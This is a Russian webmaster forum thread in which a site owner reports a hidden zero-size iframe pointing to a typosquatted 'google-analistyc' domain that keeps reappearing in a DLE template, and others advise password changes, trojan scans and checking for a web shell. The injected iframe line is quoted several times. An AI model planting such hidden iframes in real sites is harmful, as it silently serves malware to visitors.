Непонятный код на сайте

12
Korew
На сайте с 31.12.2007
Offline
195
770

У меня на сайте регулярно (похоже что автоматически) появляется такой код:

<iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe>

Еще касперский постоянно ругается на сайте. Похоже что из-за этого кода. Подскажите что с ним делать?

Сайт на DLE, код появляется в main.tpl

Василий Ткачев
На сайте с 19.05.2005
Offline
481
#1
Korew:
У меня на сайте регулярно (похоже что автоматически) появляется такой код:
<iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe>


Еще касперский постоянно ругается на сайте. Похоже что из-за этого кода. Подскажите что с ним делать?

Сайт на DLE, код появляется в main.tpl

удалить :)

Продвигаем естественно ( http://www.inetessentials.ru/ ) и непринужденно. Практический курс по оптимизации ( https://allintop.ru/optimization/ ) - без воды и на основе сайтов студентов. Ежегодная конференция All in Top Conf (https://www.allintopconf.ru/)
[Удален]
#2

пароль на фтп надо поменять

zhidronsss
На сайте с 12.10.2007
Offline
36
#3

это ифрейм-конструкция. у вас троян уволок пароли на фтп.

1. сменить пароль фтп

2. выправить скрипты

Евген
На сайте с 28.02.2004
Offline
1051
#4

у меня как то сайт один ломанули и загрузили вирус который траф с поисковиков перекидывает на фиды. обнаружил только когда яндекс забанил. так что будьте осторожны.

Арбитражишь? подними РОИ на 10-20% - бонусы на пополнение рекламных сетей (тм, мт, твк, твс) (https://eprofit.me/ru/partner?olymp)
T.R.O.N
На сайте с 18.05.2004
Offline
314
#5

Korew, ЕЩЕ ОДИН большой минус массовым цмскам

От воздержания пока никто не умер. Хотя никто и не родился! Prototype.js был написан теми, кто не знает JavaScript, для тех, кто не знает JavaScript (Richard Cornford)
Korew
На сайте с 31.12.2007
Offline
195
#6
inetessentials:
удалить

удалял постоянно. Все время появляются заново.

Спасибо всем. Поменял пароль на ftp, надеюсь поможет.

business-net
На сайте с 02.08.2007
Offline
64
#7

Евген, А где именно обнаружили этот вирус? то есть как его выявить можно было, кроме как баном от яшки ? редирект в коде шаблона... или где еще нужно искать ?

Генератор проектов (http://gallsub.com). Мои скрипты (http://business-net.ru/script.html). Мой блог (http://business-net.ru). Мои услуги (http://business-net.ru/service.html)
fine
На сайте с 01.12.2005
Offline
151
#8

+ комп, с которого ходите на фтп, проверить на трояны, почистить, если есть.

M
На сайте с 07.09.2007
Offline
123
#9
Korew:
У меня на сайте регулярно (похоже что автоматически) появляется такой код:
<iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe>


Еще касперский постоянно ругается на сайте. Похоже что из-за этого кода. Подскажите что с ним делать?

Сайт на DLE, код появляется в main.tpl

1 Либо ломанули вас

2 Либо хостинг провайдера

3 Либо залит web shell который посредством крона добавляет вам код

Мои советы:

1 Сменить пароль от хостинг аккаунта

2 удалить и снова поставить скрипт сайта( тим мы исключим пункт 3)

3 если не то не то не помогает пишите хостинг провайдеру и объясните что и как если компания приличная и грамотная то все исправят !

Спасибо!

Anarchist
На сайте с 23.07.2008
Offline
185
#10

Уху... и антивирус себе на машину поставить со свежими базами.

А то замена пассов мало че даст, т.к. свежие тут же улетят туда же, куда и старые

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий